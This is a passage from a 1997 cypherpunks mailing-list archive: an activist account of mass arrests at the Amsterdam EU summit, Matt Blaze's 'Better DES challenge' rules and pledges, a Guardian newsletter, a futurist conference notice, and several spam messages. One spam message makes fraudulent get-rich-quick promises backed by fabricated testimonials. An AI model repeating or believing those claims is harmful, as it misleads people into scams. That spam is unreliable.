riot police, but they fail. At several points the riot police
has blocked the streets. When the demonstration wants to enter
a 19th century neighbourhood, far from the security zones, it
is stopped by the riot police. The uniformed police tries to
negociate with the riot police, because the prohibition of a
demonstartion so far away from the security zones is ridicu-
lous. Without result. The demonstration decides to return to
the Dam square where the flower-bed, that was created for the
official guests of the summit and that forms the european flag,
is complety destroyed by demonstrators.  

At night there are two smaller actions. 
At midnight there is a second 'cheer'demonstration. About 100
people go to the house of the mayor to thank him for the
creative way he showed his hospitality, by giving shelter to
hundreds of opponents to the EU. Policemen on horses try to run
over people, around the corner a police force is waiting that
outnumbers the demonstration. After one hour the demonstrators
go to bed.

Later that night, at around 4.30, the official press conference
starts in the heavily guarded theatre Carr,. Ten journalists
show their discontent with this Europe by unfolding banners and
shouting against the exclusion of environmental issues and
human rights in the Amsterdam treaty. Because they do this one
after another, it takes 15 minutes before the journalists are
arrested and taken away. The arrests are very rough. Funny is
the conversation during the action between prime minister Kok
abd minister of Foreign Affais van Mierlo. Kok (annoyed and
cynical): "Well, this has been very well organised again in
here". Van Mierlo (serious): "They could have been armed with
handgranates". Of course. Journalists have a reputation for
that. 



Balance

According to police figures, 609 arrests have been made. This
number does not include the arrested and deported Italians on
Saturday. It also does not include those arrests that were not
registered. 
None of the ones arrested got a summons. The only ones who got
a fine are people that were arrested during the 'cheer'demon-
stration on Monday. The public prosecutor says he is still
considering individual charges. The lawyers are convinced that
no-one will be prosecuted. 
The international press is very surprised on the extreme safety
measures. Foreign journalists are angry with the fact that they
were kept away from the ministers and from the inhabitants of
Amsterdam. It is clear that this has been the most extreme
guarded summit in the history of the EC/EU. Even delegates of
officials have been complaining abouit the safety measures.

The use of section 140 in this way is without precedent in the
Netherlands and, as it seems, without precedent within the EU.
Maybe it is a fortaste of what groups of people can expect when
Europol advices in the future what to do with events that can
be a threat to public order (concerts, demonstrations, sport
events). It was used before against political groups, but
always after things happened and with a more specific definiti-
on of proof and charges. Nevertheless it has of course been
used against left groups that could not be prosecuted in other
ways. In over 90% of the cases in which it has been used it
never came to any conviction, and people were only prosecuted
under section 140 because it allows the police to use much more
criminal investigation techniques than in prosecutions under
other sections.
This has been the first time that is has been used to prevent
possible disturbing of public order and security. It has become
clear that this has been organised very well by police, Justice
and Home Affairs. The facts that there were no massive riots,
no violent demonstrations and that in fact nothing happened
that could possibly justify the move of Justice, confirm the
general idea that the arrests on Sunday night were planned
before the summit. Also the use of section 140 as legal ground
for the arrest must have been discussed within the justice
department. It is therefor not only a means to prevent people
from exercising their basic rights on demonstrations, but also
a means to extend the use of section 140 to groups within
society that the state is not very pleased with. The government
has been discussing the use of section 140 on groups of foot-
ball supporters before.

The council of Amsterdam has discussed what happened during the
summit, on Tuesday 24th of June. Only Green Left clearly
disapproves of the actions by the police. Most other parties
agree, because (as the chairman of the 'social democrats' said)
'it is better to have an investigation to why to police arre-
sted innocent people than to have an investigation to the
question why half the city was burned'. Also the mayor said
that it is good to arrest people that have done nothing wrong
if in this way one can prevent riots. The public prosecutor
stated that all arrests were legal because it was clear that
'we were not dealing with school children on their way to a
silent procession'. 
The Dutch parliament will discuss the police action on Thursday
26. We don't expect anything to come out. One member of the
social democrate party was very critical in an article in their
own weekly paper, but later said he was misquoted. 


'Black'book.

The Autonoom Centrum, the Arrestment Group and Buro Jansen &
Janssen decided to publish a 'black'book on what happened. It
will be published at the end of June, and will be used to
demand an independent investigation into what happened. Untill
now 150 complaints have been registered. From the complaints
the following shoes in general:

- a lot of arrested demonstrants have been beaten after being
handcuffed;
- people were not told why they were arrested;
- most people (and all foreigners) have been denied access to a
lawyer. They should have had one after 6 hours; some only saw
their lawyer when the decision to release them had already been
made;
- female prisoners have all been sexually intimidated or
molested; 
- people did not get water and food for almost 24 hours;
- people were detained in tents on the court yards of prison
and not given blankets in the first night;
- a big group had to wait for six hours in the busses before
they could enter the prison, in this period they were handcuf-
fed;
- most foreigners have been deported without giving them back
their personal belongings and documents;
- people who take physics were refused their medicine.


Meanwhile, the lawyers are preparing new proceedings to get
compensation for their clients. They expect that people will
get about 400 or 500 guilders for every day they were impriso-
ned, because their arrest was illegal. This could cost the
ministry about 200.000 guilders. Peanuts, compared to the 70
million it needed to organise the summit in Amsterdam. 

The total repressive way the Dutch government decided to treat
all demonstrations lead to the remark on national television by
a professor Penal Law at the University of Amsterdam that,
overviewing all that happened, he could only see one criminal
organisation. It is formed by the mayor, the public prosecutor
and the head of police, who have structuraly been working for
some months on organising the deliberate and illegal arrest of
demonstrators and passers-by who didn't do anything. 

Actions outside the Netherlands

Also in other EU-countries people reacted on the police vio-
lence in Amsterdam. In Copenhagen 17 people were arrested who,
according to thepolice, planned to attack theDutch consulate.
Dutch consulates were attacked in Stockholm,London, Brighton,
Milan, Gent and Rome. In Hamburg and Vienna the consulate was
occupied for some time.

In Denmark the issue has been raised in parliament by the-
Red-Green Alliance. They complain about the treatment of 29
Danes that were arrested in Amsterdam 12 of them were send back
by military plane, escorted by a Dutch fighterbomber the first
part of the way. Nodoubt just for training, but what a scene.
Also a lot of Danes were deported without their belongings.
They can not pick them up themselves because the police told
them they will not be allowed to enter the Netherlands for some
time. The Danish consul in Amsterdam was furious because she
was not allowed to visit the arrested Danes.  The Red Green
Alliance wants to know from the government if danish authori-
ties gave information to Europol, Interpol or dutch authori-
ties, what exactly the role of Europol has been in this case,
and what will happen to the fingerprints and photgraphs that
have been made. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Thu, 3 Jul 1997 20:11:43 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Fancy a drink?
Message-ID: <199706271610.RAA24455@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


This week, in the Pub Issue of Shift Control...

"Some pretty scary things are happening to British pubs - 
apparently in the name of pleasing women. Rat and Parrot, 
Slug and Lettuce, All Bar One, Wetherspoons - they all 
signify the general white collarisation of the pub with 
blonde wood and windows where the cheap repro mahogany 
and frosted glass should be." 
- Kate Spicer wonders what's wrong with the good ol' local.

"Some London pub crawls have their origins in history (the 
Jack the Ripper pub crawl) or literature (the Sherlock 
Holmes pub crawl), while others are just a desperate attempt 
to justify a booze-up (the Monopoly board pub crawl). But 
the greatest of all is the Circle Line pub crawl. It has no 
discernible beginning and no discernible end. All that's 
certain is that the Circle Line has 27 stations, and 
somewhere near the exit of each of these is a pub." 
- Paul Robinson takes on the ultimate pub challenge.

"Nowadays even boozing and chatting have gone hi-tech. And 
while electric toothbrushes caught on and talking cars are 
here to stay, is there really any justification for the 
virtual pub?" 
- Rebecca Fox asks if online boozers have really lost the 
pub spirit.

Plus the Shift Control quiz: How wild are you... about pubs?

Shift Control: serving a full measure of delights, NOW, at 
http://www.shiftcontrol.com

___________________________________________________________

Shift Control is produced by the Guardian's New Media Lab 
with help from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list, send e-mail to 
shiftcontrol-request@nml.guardian.co.uk with the following 
text in the body of the mail message: unsubscribe






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matt Blaze <mab@crypto.com>
Date: Fri, 27 Jun 1997 15:02:01 -0700 (PDT)
Subject: Better DES challenge update
Message-ID: <199706272201.SAA25446@crypto.com>
MIME-Version: 1.0
Content-Type: text/plain


------- Blind-Carbon-Copy

To: challenge@crypto.com
Subject: Better DES challenge update
Date: Fri, 27 Jun 1997 18:01:53 -0400
From: Matt Blaze <mab@tpc.crypto.com>

The prize for solving the ``better DES challenge'' has grown to almost
$500 and continues to rise daily.  Here's the list of prize pledges I have
as of June 27; the current pot stands at 3984 bits (US $498.00).  I hope
to have a web page up sometime next week (on www.crypto.com) with the
latest challenge status.  (This will be the last update via email, unless
someone solves the challenge or pledges some huge prize or some such).

DATE	Name			Email				Bits Pledged
============================================================================
6/22/97	Matt Blaze		mab@crypto.com			56 bits
6/23	AT&T Labs (via mab)	mab@research.att.com		56
6/24	Steve Gibbons		steve@wyrm.AZTech.Net		56
6/24	Bill Stewart		stewarts@ix.netcom.com		112
6/24	Peter Trei		trei@process.com		288
6/24	Jim Thompson		jim@hosaka.SmallWorks.COM	512
6/25	Adam Shostack		adam@homeport.org		512
6/25	Eric Blossom		eb@comsec.com			1024
6/26	Jamie Lawrence		jal@acm.org			56
6/26	Bill Frantz 		frantz@netcom.com		512
6/27	Jon Leonard		jleonard@divcom.umop-ap.com	800
								=========
GRAND TOTAL (Bits)						3984
GRAND TOTAL (USD)						$498.00

Tell your friends!  Note that the pot seems to be growing roughly
exponentially.  If this keeps up, I may join the search myself...

[Unfortunately, due to singularly inexcusable incompetence on the part
of my soon-to-be-former ISP (PSINet), mail to me was bouncing last week
so I may have missed some of the ``Better DES Challenge'' pledge mail.
If you pledged a prize and aren't on the list above, please resend.]

Official rules attached below for reference.

- -matt

N.B.  The ``bit'' is an archaic unit of currency equal to 1/8 of a US
dollar (hence, ``pieces of eight,'' ``two bits,'', etc.).  It seems an
appropriate measure for prizes in key-cracking contests.

============================

From: Matt Blaze <mab@research.att.com>
Subject: A better DES challenge
Date: Mon, 23 Jun 1997 16:04:25 -0400

I'm not a big fan of these ``challenges'' in which a prize is awarded
to the first person who discovers the key that produces some
plaintext/ciphertext pair.  The effort required to produce a solution
tends to grossly overstate the actual difficulty of searching the
keyspace, since invariably the winner uses the idle time on
general-purpose computers, which are poorly-optimized for use as
keysearch engines.

Another problem with challenges is that even when they are broken
they don't really provide convincing proof that the keyspace was
actually searched.  For example, in the recent 56-bit RSA DES
challenge, RSA has no way to prove that it didn't ``leak'' some hint
about the solution to the winner. (I hasten to point out that I'm not
suggesting that anything like this actually happened, only that a
skeptic might raise the possibility, against which RSA has no real way
to defend itself).  A better challenge, then, would be one in which
even the challenger doesn't know the solution in advance (or would
have had to itself search the keyspace or otherwise cryptanalyze the
cipher in order to find it).  For example, a challenge for a one-way
collision-intractable hash function could simply ask for an example of
a collision, or could ask for the inversion of some well-structured
output (such as all zeros).

We can do the same thing for encryption functions.  I propose an
alternative DES challenge that can be solved only by searching a large
fraction of the keyspace or by cryptanalyzing the cipher.  The
structure of the challenge is such that most people would agree that
either I don't know the solution myself or that I've already searched
the keyspace or otherwise cryptanalyzed DES in some way.  In other
words, the only way I could covertly ``help'' the challenge winner is
if I've already done what the challenge is supposed to establish is
possible in the first place.

Recall that there are 2^56 DES keys that each select a different
permutation of the 2^64 codebook entries.  We expect that there's
about a 1/2^8 chance that there exists a DES key that converts any
given plaintext block to any given ciphertext block.

My challenge is to find a key such that a ciphertext block of the form
<XXXXXXXX> decrypts to a plaintext block of the form <YYYYYYYY>, where
X and Y represent any fixed eight-bit byte value repeated across each
of the eight bytes of the block.

Observe that I'm actually posing 2^16 different challenge
plaintext/ciphertext pairs, each with about 1/2^8 probability of
having a solution, where groups of 2^8 challenges can be searched for
simultaneously.  Each challenge may have no solution key, exactly one
solution key, or more than one solution key, but it is very likely
that there is at least one solution key to at least one of them (in
fact, one could expect to find about 2^8 solutions overall, assuming
DES produces good pseudorandom permutations).

The most obvious way to find a solution is try, for each
properly-formed ciphertext block, every key in the DES keyspace until
a plaintext block of the proper form is found.  Special-purpose
hardware, based on FPGAs or ASICs, would obviously be helpful for this
purpose.  (One might first consider the eight weak / semi-weak DES
keys that have 2^32 fixed points, on the chance that one of the blocks
of this form is a fixed point for one of them.  Unfortunately however,
none are.)

I will award a grand prize of fifty six bits ($7 US dollars) to the first
person to provide a solution key.  (The challenge ends when first key
is found).  While the prize money is admittedly trivial (this is out
of my own pocket, after all), I hope it will serve as ``seed money''
that encourages others to add their own prizes to a growing pot.

Of course, I cannot be completely sure whether there exist any
solutions at all.  In the (unlikely) event that there is no winner by
August 1, 1999, I will award the 56 bit prize to the person who submits
the key that produces the most ``interesting'' plaintext block from
the all-zero ciphertext block.  I will be the final judge of what
constitutes interesting.  This prize will be announced at the rump
session of CRYPTO'99.

Void where prohibited by law, etc.  Comments, questions and solutions
should be submitted by email, to <challenge@crypto.com>.  If others wish
to pledge additional prizes, please also let me know at that address
and I'll keep track of who is offering what, etc..

- -matt

------- End of Blind-Carbon-Copy




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Studio@64.com (Studio 64)
Date: Sat, 28 Jun 1997 04:03:53 -0700 (PDT)
To: Studio@64.com
Subject: Gentlemen, Over 18?  Read This...
Message-ID: <199706281026HAA45517@uss.net>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Studio@64.com (Studio 64)
Date: Sat, 28 Jun 1997 05:42:22 -0700 (PDT)
To: Studio@64.com
Subject: Gentlemen, Over 18?  Read This...
Message-ID: <199706283861CAA8177@uss.net>
MIME-Version: 1.0
Content-Type: text/plain



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For the easiest way to order, hit your print button now.
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Because this information is of an adult nature, you must be over 18 years of age to order. Please enclose 
with the following a  Check, Money Order or Cash in the amount of  $19.95.  Address to  Studio 64, 1163  
E. Ogden Ave, Suite 705-183,  Naperville,  Illinois,  60563.

( Please Print)

Name__________________________________________________
Address_____________________________City, State_____________
E-Mail Address (optional)___________________________________
I  am over 18 years of age (signature please)_______________
 
Please allow 2-3 weeks for delivery. Thank you.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 37042252@usa.net
Date: Sat, 28 Jun 1997 10:08:39 -0700 (PDT)
To: PublicInfo@yourinfo.com
Subject: Accept Major Credit Cards Online...VERY LOW FEES!!!
Message-ID: <imsco@cyberpromo.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi there,


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Apply now and start your cash flowing today!



If you wish to be removed from our mailing list, please hit reply and type REMOVE in the
subject field .
  












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: benjamin@creativeimagery.com
Date: Sat, 28 Jun 1997 15:15:06 -0700 (PDT)
To: benjamin@creativeimagery.com
Subject: DO YOU NEED WEB-LEGAL CONTENT?
Message-ID: <199706282206.RAA32411@wakko.creativeimagery.com>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message is intended for adult webmasters only.
If you wish no further mailings type "remove" in the subject box & reply.
////////////////////////////////////////////////////////////////////////////////
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: .@lox2.loxinfo.co.th
Date: Mon, 30 Jun 1997 02:17:40 -0700 (PDT)
To: customers@lox2.loxinfo.co.th
Subject: The Website With Everything
Message-ID: <199706012075.WAA27903@server>
MIME-Version: 1.0
Content-Type: text/plain


http://www.master-mall.com/

Everything you will ever need is here,

If you are looking to start a business,need to find a long lost love or
relative,or just like to play games,this is the place,
you will even find "hard to get information" on offshore banking,finding
people,very economical web page creation,and hosting
even bulk email advertising.

This place has it all.

Thanks for your time.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 05643693@prodigy.net
Date: Mon, 30 Jun 1997 12:00:13 -0700 (PDT)
To: Work@home
Subject: Computer
Message-ID: <196656374004.GAA07044@prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


              PLEASE READ THIS IF YOU WOULD LIKE TO
            EARN EXTRA CASH USING YOUR COMPUTER!!! 


                                 (Now in Mac format, too!)


     If you have even a basic knowledge of computers, you could be 
making money in your spare time.  There are many opportunities
 including: contract typing; data entry; advertising on your own Web  
page; and even testing new games.  Send for the packet, "Home 
Computer Income" which contains all the information you need to get 
started.  Included is a listing of several companies that offer this type
of work.  Order today, all  you need  is a few hours a week to create an
excellent second source of income!


           -Please print (or write out) this order form and mail to- 
------------------------------------------------------------------------------

M.E.C.
P.O. Box 2188
La Mesa, CA 91943-2188

 [  ] Yes, I would like to get started.  Please rush me the 
information.  Enclosed is $14.95 (plus $2.00 for shipping and 
handling, $16.95 total.)  If I am not completely satisfied, I
have 30 days to return the packet for a full refund (less S+H).
Please allow 5-7 business days for checks to clear. 

Name/E-Mail Address___________________________________

Address_______________________________________________

City,State,Zip__________________________________________

[] Send packet to my e-mail address (omit S&H.)
[] Send packet on 3.5" / 5.25"" / Mac disk.  (circle one.) 
         (disc is compatible with all word processors.) 
-----------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ctn@idp.net
Date: Mon, 30 Jun 1997 11:27:00 -0700 (PDT)
To: "Printer Owners"
Subject: Fourth of July Special
Message-ID: <B0000053520@www.idp.net>
MIME-Version: 1.0
Content-Type: text/plain


Fourth of July Special!!!!!!   Call 1-800-767-0160 to order.

Brand New Hewlett Packard Toner Cartridges at Wholesale Prices!!!

Part #                     Printer Type                            Price                

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92295A    EP-S      Series II, III                              $69.00             
92275A    EP-L      Series IIP, IIIP                          $76.00
92274A    EP-P      Series 4L/4P                           $65.00
92291A    EP-N      Series IIISi/4Si                        $99.00
C3900A    EP-B      Series 4V/4MV                       $125.00
C3903A    EP-V      Series 5P, 5MP, 6P, 6MP        $76.00
C3906A    EP-A      Series 5L                                 $59.00
C3909A    EP-W     Series 5Si, 5SiMX, Mopier       $145.00

FX-1          Canon Fax L700 Series                           $81.00
FX-2          Canon Fax 5000/5500                            $71.00
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IF YOU DO NOT WISH TO RECEIVE FUTURE EMAIL, PLEASE REPLY TO 'ctn@idp.net' AND PLEASE PLACE 'REMOVE' IN THE SUBJECT AREA.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 17221646@25050.com
Date: Wed, 16 Sep 1998 16:51:46 -0700 (PDT)
To: sender422@mail.whynot.net
Subject: RE:Golf Strokes
Message-ID: <93904039291232@hsd_hypothesis.com>
MIME-Version: 1.0
Content-Type: text/plain


"If i can drop my handicap 11 strokes...so can you !" 

Golfer: Brad Beckett

CLICK HERE >> http://www.swingeez.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Alexander 'Sasha' Chislenko" <sasha1@netcom.com>
Date: Sun, 1 Jun 1997 00:18:39 -0700 (PDT)
To: (Recipient list suppressed)
Subject: EXTRO-3: Extropy Institute's Third Conference on the Future
Message-ID: <3.0.2.32.19970601030136.016359d0@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hope you may be interested...

--------------------------------------------------------------------------
E X T R O  3:  Extropy Institute's Third Conference on the Future
               August 9-10 1997, Doubletree Hotel, San Jose, CA

Saturday (Aug 9) theme:  The Future of the Body and Brain.
Sunday  (Aug 10) theme: Future Infrastructure.

The conference will include presentations by Eric Drexler - nanotechnology
pioneer and chairman of the Foresight Institute, Gregory Stock - Author of
"Metaman", Kevin Kelly - executive editor of Wired, Max More - President
of the Extropy Institute, Mark Miller - founder of Agorics, Inc., Chris
Peterson, Sharon Presley, Sasha Chislenko, Robin Hanson, Anders Sandberg,
and others, as well as panel sessions devoted to progress in Artificial
Intelligence, Investing in the Future, and Future of Gender and Sexuality.

Extropy Institute functions as a networking organization bringing together
scientists, technologists, entrepreneurs, philosophers, and artists who
share certain general interests including: extending life span, augmenting
intelligence (both cognitive and emotional), gaining access to space, and
achieving control over our own biology through genetic engineering,
bioengineering, neural-computer interfaces, and molecular nanotechnology.
We welcome all interested members of the public to attend and participate.

Past speakers have included Marvin Minsky of MIT, Bart Kosko - fuzzy logic
and neural network pioneer at USC, Roy Walford - leading gerontologist at
UCLA, Hans Moravec - Director of Carnegie-Mellon's Mobile Robotics Lab,
Michael Rothschild - author of Bionomics, and Ralph Merkle -
nanotechnologist at Xerox Parc.

For more information, please visit <http://www.extropy.org/extro3.htm>
or call (310) 398-0375 and leave your mailing address or email address,
or send email to more@extropy.org




-------------------------------------------------------------------
Alexander Chislenko   <http://www.lucifer.com/~sasha/home.html>
Great Thinkers page:  <http://www.lucifer.com/~sasha/thinkers.html>
-------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ron Franklin <incrediblesecret@hotmail.com>
Date: Sun, 1 Jun 1997 20:17:17 -0700 (PDT)
To: Incredible Wealth Secret <incrediblesecret@hotmail.com>
Subject: $8,900 in 24 Hours
Message-ID: <199706020317.UAA22131@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


************************************************************
The following information could change your life
forever. If this is of no interest to you just hit reply
and put remove in the subject.
************************************************************
Dear Friend, "I made $8,900 in 24 hours! You could do much better! My name is Ron
     Franklin. A little while ago, my life was miserable. I had just gotten married, my wife was
     pregnant and we were $45,000 in debt! I couldn't make the payments and the bank
     repossessed my car. I remember the day my wife phoned me crying. The landlord had
     shown up at the house with an eviction notice because we hadn't paid the rent in three
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     every day. Things are different now. I own and rent out three large homes in Toronto,
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     Besides that, my oldest boy's in college, my younger son and daughter are wonderful and
     my wife and I love each other very much. I couldn't ask to be happier. My life is perfect!
     Best of all, I have time to enjoy life. No more 50 and 60 hour weeks, working two jobs,
     just trying to pay the bills. No more embarrassing times when the kids needed something
     for school and I didn't have the money. No more fighting with my wife from the stress of
     never having enough money for groceries. I work about two hours a day and that's it!
     The rest of the time is left to have fun and do the things I really love. I finally have time to
     spend with my family. That's better than all the money in the world! My favorite thing is
     to go on picnics with my children. I also love to travel. My wife and I just got back from
     a three week second honeymoon in Cancun. I'm not trying to brag or impress you with
     my wealth. What I'm trying to do is prove to you that if I wasn't lucky enough to have
     learned that secret that day, I would still be poor, probably bankrupt. It was only
     because of that amazing money-making secret that I was able to become debt free, and
     very wealthy. I hate to think of where my family and I would have been without it."
     Knowing this secret changed my life completely. It brought me wealth, happiness,
     freedom and time to be with my family that I love. But most importantly, it gave me
     security and peace of mind. This secret will change your life too! It'll give you everything
     you need and allow you to solve ALL your money problems. Of course, you don't have
     to take my word for it. You can try it out for yourself. I wasted quite a bit of money
     sending away for one money- making scheme after another. I found out what you
     probably already know. They all turned out to be garbage. The only one who made any
     money were the companies who sold them. This secret is completely different. It's unlike
     anything you could ever imagine! I used to be "the little guy". Poor, trying to make ends
     meet (and losing) and with no opportunities at all. Now it's my turn to give something
     back to the "little guy". This secret is incredibly simple. Anyone can use it. You don't
     need special training or even a high school education. There's no physical labor involved.
     It doesn't matter how young or how old you are. It's simple enough for a child to learn in
     a couple hours. You can use this secret in the comfort of your own home or even while
     you're on vacation! I'll tell you more about this amazing secret: With this secret the
     money rolls in FAST. If you can follow easy instructions you can get started in a single
     afternoon and have CASH in your pocket the very next morning! In fact, this is probably
     the fastest, most honest, legal method of making money ever invented! It's risk-free and
     it's not a risky gamble. Everything you do is proven and GUARANTEED. The method is
     so simple, it would be hard to make a mistake even if you tried! This is a VERY safe
     way to make cash. Making money with this secret is a snap. You'll be amazed at how
     easy it really is. You can work or not work anytime you want. You're not tied down to
     anything or anybody. You're the boss and you make your own hours! One of the nicest
     things about this secret is that anyone can do it in their own home. No office. No
     equipment. No staff. No overhead. NO hassles. It doesn't even matter where you live.
     It's perfect for students, homemakers, kids, seniors and anyone who likes the idea of
     being insanely rich with very little work! It's also perfect if you're just looking for a little
     bit of extra part-time cash. This secret will blow your mind! When you use it to make
     money you never have to try to convince anybody of anything. There's no door-to-door
     selling, no telemarketing and no real estate or anything else that involves personal
     contact. So you don't have to be a sales person or know anything about selling! It has
     nothing to do with multi-level marketing, credit card techniques, gambling, chain letters,
     government loans, banking systems, junk mail, party plans, or anything else you may
     have heard about before! This secret is completely legal and honest. You'll sleep good at
     night knowing that you're providing a very valuable service. You'll be proud and excited
     to tell friends and family what you're doing. It'll only take you an hour or two to learn this
     fascinating money-making secret. After that everything's almost automatic. After you
     learn the secret you'll only have to work four or five hours per week! I will share with
     you a secret VERY few people know. Most of those who do know this secret are
     MILLIONAIRES! Once you know it I predict your life will never, ever be the same
     again! And by following the step-by-step instructions I will send you, in just a few hours
     you can earn an extra couple thousand dollars. You're probably sceptical. I wouldn't
     expect less from you. It shows you have good business sense. One young man learned
     this secret, tried it his first day and made $2,000 profit in just a few hours. "This is the
     ultimate lazy guys way to get rich. You'll like how easy it is and you could easily do
     better than $2000 with the easy instructions he'll send you. Thanks Mike." "I never really
     believed your success stories and I never thought I'd be one of them...using your secret,
     in just 8 months I made over $203,000...made over $22,000 in the last two and a half
     weeks! It's simple, easy, very fast...Mr. Franklin, thank you for your Incredible Secret!"
     "It's good and honest money. The secret could make you more money then you'd know
     what to with, though I'm sure you could figure out something! I was supplied with
     detailed instructions and I had cash two days later. Thank you Mike!" "I'm amazed at my
     success! By using your secret I made over $600,000 in five months. That's more than 35
     times what I used to make in a year! (I quit my job after using this secret for 2 weeks!) I
     was waiting for this miracle! Thank you Micheal Franklin." "Your secret is awesome! I
     never expected something so different and easy that will actually make me an easy
     $3,000.00 on a weekly basis. A GREAT many thanks to you." "This is without a doubt
     the most powerful millionaire-maker I've ever seen!" "Two years ago, I sent away for
     your Incredible Wealth building Secret in sheer desperation for a better life... One year
     ago from using your secret a man called and offered me a partnership... I grossed over
     $160,000 cash in seven months! You are a God sent miracle to me. Thank you Micheal
     and God Bless you and your family." "He does more than give general ideas. He gives
     people an easy to follow, A to Z plan to make big money." "I didn't believe you when
     you said the secret could make me money by the next morning. Man was I wrong! By
     the VERY NEXT MORNING $7200 poured in, in less than 24 hours!! I am still
     dumbfounded to tell you the honest truth. To anyone who is considering getting this
     secret: Just Do It! I was sceptical at first but trust me it's well worth it! To The Incredible
     Secret of Wealth: Thank you for making me rich rich rich! I'm not done using this secret
     yet! As you can see, I've found something pretty good. I think I've come across the
     sweetest money-making secret you could ever imagine. Remember- I GUARANTEE
     IT! Usually it takes big money to make big money. This is the exception. But you don't
     have to start small and you don't have to stay small. The size of your profits are totally up
     to you. And there you have it. I've explained this remarkable secret in a special
     money-making plan. I call it "THE INCREDIBLE SECRET TO WEALTH". Some call
     it a miracle. Others call it "the secret that changed my life and gave me astounding
     wealth." You'll probably call it "The Money Secret". You'll learn everything you need to
     know step-by-step. So you too can put this amazing money making secret to work for
     you and make ALL THE MONEY YOU WANT. Either you solve ALL your money
     problems with this secret WITHIN 30 DAYS! or I'll give you your money back. So if
     you have given this an honest effort by following the simple A-Z instructions, and you
     have not made any money within 30 days you can send it back to me and I will return
     your money back no questions asked. That is how sure I am that this will work for
     YOU!! So you have nothing to lose by trying this out!! So if you'd like to make a quick
     ten grand in 24 hours this is just for you! I GUARANTEE IT! And with my guarantee
     there's absolutely NO RISK ON YOUR PART! To order simply write your name and
     address on a piece of paper, enclose your check, money order or cash for ONLY
     $25.00 and send it to:
************************************************************
S.R.B. Marketing 6292-180 Street, Edmonton, AB CAN, T5T 2T2
***********************************************************
     Make checks and money orders out to ***S.R.B. Marketing***. That's all there is to it.
     I'll send you The Incredible Secret to Wealth by return mail, along with a copy of my
     money-back guarantee. But my supply is very limited! So send in your order quickly. A
     month from today you will be nothing more than 30 days older. Or you can be free of
     ALL your money problems. It's your decision. Put that way, what's $25.00? P.S. When
     my supply is gone, I will return all orders. 


	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Mon, 2 Jun 1997 14:17:37 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Curl up and dye
Message-ID: <199706020854.JAA14698@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




This week, in the Hair issue of Shift Control...

"To be fair, I've never left a hairdresser's happy. In fact, I don't 
know anyone who hasn't fled from a hairdresser's in search of the 
nearest reflective surface (I chose the window of an Iranian rug 
importer on Piccadilly) to try and rub away the salon-induced feeling 
of idiocy. But on this day I was particularly woeful. The haircut was 
nothing a five-year-old boy would have been ashamed of. But I'm a bit 
older than that. My own mother, who I saw later that day for the 
first time in two years, said I looked like a 'dork'." - Paul Robinson 
on getting a high-class haircut.


"'And the new world champion for imperial whiskers is... Jurgen 
Burkhardt!' When it dawned on the short German dressed in the Kaiser 
outfit that he'd won his event, the loops at either end of his huge 
moustache began to twitch maniacally. The dimensions of the new world 
champion's imperial growth were staggering. From left to right, 
including the loops, it 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bodiesrhot@hotmail.com
Date: Tue, 3 Jun 1997 11:00:57 -0700 (PDT)
To: bodiesrhot@hotmail.com
Subject: Tiffany's Pictures on her web page
Message-ID: <184558452539.CAA08557@bstgrlsss.com>
MIME-Version: 1.0
Content-Type: text/plain


If you are not interested in adult pictures or are under the age of 
18, I apologize,  DO NOT REPLY  and I will GUARANTEE you will be
 removed from my list or you may reply to removetif@answerme.com and 
you will receive confirmation that you were removed, either way, I apologize
 and you WILL be removed from my list.


Hi my name is Tiffany.  I am a college student that just learned how 
to make a web page, so I decided to put some naughty pictures of 
myself on my page for everyone to see.  If you want to see it, write 
back to me at  tif@answerme.com and type "over 18" in the subject box
 (you will have to change the current "to" box to  tif@answerme.com)
 If you are offended by nudity, Do Not Reply and  I will take you off
 my mailing list.   
-Tiffany



















-Tiffany





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Tue, 3 Jun 1997 09:04:16 -0700 (PDT)
To: firewalls@greatcircle.com
Subject: Cryptographic Mythology
Message-ID: <19970603160344.26296.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain



Here is something to amuse, delight and horrify - the tail of:

       _One Man's Search for a Cryptographic Mythology_.

I recently wrote a VNODE (4.4bsd) based encrypted file-system. Now
the day dawned when I decided it was high time to discard my rather
egocentric working name _Proffs_ (i.e Proff File System) and cast
about for a decent, respectable name. My first thought on this
matter was:

CERBERUS, n. The watch-dog of Hades, whose duty it was to guard
   the entrance -- against whom or what does not
   clearly appear; everybody, sooner or later, had to go there,
   and nobody wanted to carry off the entrance. Cerberus is known
   to have had three heads, and some of the poets have credited
   him with as many as a hundred.

Only, what was the relation between KERBEROS and CERBERUS? Pups
from the same litter, or was the relationship a little more
